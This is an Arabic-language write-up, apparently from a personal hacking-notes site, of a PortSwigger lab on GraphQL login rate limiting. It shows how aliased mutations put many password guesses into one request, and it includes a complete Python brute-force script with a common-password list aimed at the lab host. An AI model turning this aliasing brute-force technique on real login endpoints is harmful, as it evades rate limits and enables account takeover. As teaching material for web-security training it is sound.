> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/graphql/graphql-anti-brute-force-protection-bypass.md).

# تجاوز الحماية ضد التخمين القسري في GraphQL

### تجاوز وسائل الحماية ضد التخمين القسري في GraphQL

#### سياق المختبر

نموذج تسجيل الدخول في المختبر يعتمد على واجهة برمجة تطبيقات **GraphQL** بـ **تحديد المعدل**: بعد عدة محاولات غير صحيحة، تُرجع نقطة النهاية خطأً يشير إلى أنه يجب عليك الانتظار (مثلاً دقيقة واحدة) قبل المحاولة مرة أخرى.

الهدف: **تسجيل الدخول** للاتصال باسم **carlos**، باستخدام قائمة كلمات المرور المقدمة من مختبرات المصادقة.

```json
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

#### (1) ملاحظة طلب GraphQL

من خلال اعتراض الاتصال، نستعيد عملية تعديل من النوع:

```json
{
  "query": "/n    mutation login($input: LoginInput!) {/n        login(input: $input) {/n            token/n            success/n        }/n    }",
  "operationName": "login",
  "variables": {
    "input": {
      "username": "carlos",
      "password": "test"
    }
  }
}
```

بعد عدد كبير جدًا من الاختبارات غير الصحيحة، تردّ واجهة برمجة التطبيقات بخطأ يفرض التقييد:

```json
{
  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "لقد أجريتَ عددًا كبيرًا جدًا من محاولات تسجيل الدخول غير الصحيحة. يُرجى المحاولة مرة أخرى بعد دقيقة واحدة."
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "حدث استثناء أثناء جلب البيانات (/login): لقد أجريتَ عددًا كبيرًا جدًا من محاولات تسجيل الدخول غير الصحيحة. يُرجى المحاولة مرة أخرى بعد دقيقة واحدة."
    }
  ],
  "data": {
    "login": null
  }
}
```

<figure><img src="/files/36fd4787349ea2704445f989cfbe9449f759d6a4" alt=""><figcaption></figcaption></figure>

### 2) لماذا نضاعف الحقول؟

فكرة طبيعية هي إرسال عدة `طلبات تسجيل الدخول` ضمن **عملية تعديل واحدة**.

<details>

<summary><a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">كلمات مرور مختبر المصادقة</a></summary>

123456/ password/ 12345678/ qwerty/ 123456789/ 12345/ 1234/ 111111/ 1234567/ dragon/ 123123/ baseball/ abc123/ football/ monkey/ letmein/ shadow/ master/ 666666/ qwertyuiop/ 123321/ mustang/ 1234567890/ michael/ 654321/ superman/ 1qaz2wsx/ 7777777/ 121212/ 000000/ qazwsx/ 123qwe/ killer/ trustno1/ jordan/ jennifer/ zxcvbnm/ asdfgh/ hunter/ buster/ soccer/ harley/ batman/ andrew/ tigger/ sunshine/ iloveyou/ 2000/ charlie/ robert/ thomas/ hockey/ ranger/ daniel/ starwars/ klaster/ 112233/ george/ computer/ michelle/ jessica/ pepper/ 1111/ zxcvbn/ 555555/ 11111111/ 131313/ freedom/ 777777/ pass/ maggie/ 159753/ aaaaaa/ ginger/ princess/ joshua/ cheese/ amanda/ summer/ love/ ashley/ nicole/ chelsea/ biteme/ matthew/ access/ yankees/ 987654321/ dallas/ austin/ thunder/ taylor/ matrix/ mobilemail/ mom/ monitor/ monitoring/ montana/ moon/ moscow

</details>

لكن إذا كررنا الحقل نفسه دون تمييز، فإن GraphQL يرفضه لأن الحقول ستصبح غامضة (الاسم نفسه في المستوى نفسه).

```graphql
 mutation login($input: LoginInput!) {
        login(input: $input) {
            رمز
            success
        }
    }
```

<figure><img src="/files/026fd3e15355125b618a7a1695d13a27e6b887bc" alt="" width="473"><figcaption></figcaption></figure>

مثال غير صالح (بنية غير صحيحة / تصادم الحقول):

```graphql
mutation login {
  login(input: { username: "carlos", password: "test" }) {
    رمز
    success
  }
}
```

```graphql
mutation{
  login(input: { username: "carlos", password: "test" }) {
    رمز
    success
  }
}
  login(input: { username: "carlos", password: "hack" }) {
    رمز
    success
  }
}
```

<figure><img src="/files/17c8e5f2f546dd51bbb84fe5404a35838d2018d4" alt=""><figcaption></figcaption></figure>

### 3) التحديد: استخدام الأسماء المستعارة

يتيح GraphQL إعادة تسمية كل استدعاء باستخدام **الأسماء المستعارة**. / وبالتالي، يمكنك تنفيذ **عدة محاولات تسجيل دخول في طلب HTTP واحد**، مما يقلل من تأثير تحديد المعدل

مثال صالح:

```graphql
mutation login{
  loginTest: login(input: { username: "carlos", password: "test" }) {
    رمز
    success
  }

  loginHack: login(input: { username: "carlos", password: "hack" }) {
    رمز
    success
  }
}
```

وبالتالي، تعالج واجهة برمجة التطبيقات عدة اختبارات في نافذة واحدة لتقليل التأثير الجانبي.

<figure><img src="/files/5e1a5beb7f4f34b9b59e2cd8557cad354d4b5e9b" alt=""><figcaption></figcaption></figure>

### 4) الأتمتة (نهج عبر سكربت)

المبدأ:

* ابنِ `mutation login {... }`
* أضف سطرًا واحدًا حسب كلمة المرور:
* `login{i}: login(input: { username: "carlos", password: "..." }) { token success }`
* أرسل الطلب
* استعرض `data.login{i}` للعثور على `success: true`

```python
import requests
import time

url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
    "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
    "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}

passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]

def brute_force_all_at_once():
    print("[*] جارٍ إنشاء استعلام GraphQL باستخدام جميع كلمات المرور...")

    query = "mutation login {/n"
    for i, pwd in enumerate(passwords):
        query += f'  login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{/n    token/n    success/n  }}/n'
    query += "}"

    print(f"[*] طول الاستعلام: {len(query)} حرفًا")
    print(f"[*] جارٍ اختبار {len(passwords)} كلمة مرور دفعة واحدة...")

    payload = {"query": query}

    start_time = time.time()

    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)

        if response.status_code == 200:
            data = response.json()

            for i, pwd in enumerate(passwords):
                result = data.get("data", {}).get(f"login{i}")
                if result and result.get("success"):
                    print("/n[+] تم النجاح!")
                    print(f"[+] اسم المستخدم: carlos")
                    print(f"[+] كلمة المرور: {pwd}")
                    print(f"[+] الرمز: {result.get('token')}")
                    print(f"[+] الوقت: {time.time() - start_time:.2f} ثانية")
                    return True
            else:
                print("[-] لم يتم العثور على كلمة المرور في القائمة")
        else:
            print(f"[-] خطأ HTTP: {response.status_code}")
            print(response.text[:200])

    except requests.exceptions.RequestException as e:
        print(f"[-] فشل الطلب: {e}")

    return False

if __name__ == "__main__":
    print("=" * 50)
    print("هجوم التخمين القسري على GraphQL")
    print("استخدام الأسماء المستعارة لتجاوز تحديد المعدل")
    print("=" * 50)

    if brute_force_all_at_once():
        print("/n[+] اكتمل الهجوم بنجاح!")
    else:
        print("/n[-] فشل الهجوم")
```

تم العثور على كلمة المرور الخاصة بـ **carlos** هي:

<figure><img src="/files/a9cb2abdb0896e0a5b171f406311578c815290f4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/graphql/graphql-anti-brute-force-protection-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
